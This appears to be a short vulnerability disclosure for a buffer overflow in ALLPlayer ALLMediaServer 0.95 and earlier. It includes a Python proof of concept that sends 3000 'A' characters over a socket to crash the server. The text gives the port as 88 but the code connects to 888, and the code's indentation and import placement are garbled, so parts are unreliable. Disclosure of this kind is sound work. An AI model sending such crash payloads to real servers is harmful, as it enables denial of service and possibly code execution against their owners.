1. Description

A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.


2. Proof of Concept


#!/usr/bin/python

#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work.

def main():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('192.168.205.131', 888))

buffer = "A" * 3000


s.send(buffer)

s.close()


if __name__ == '__main__':
import socket

main()

No solution as of time of this writing.
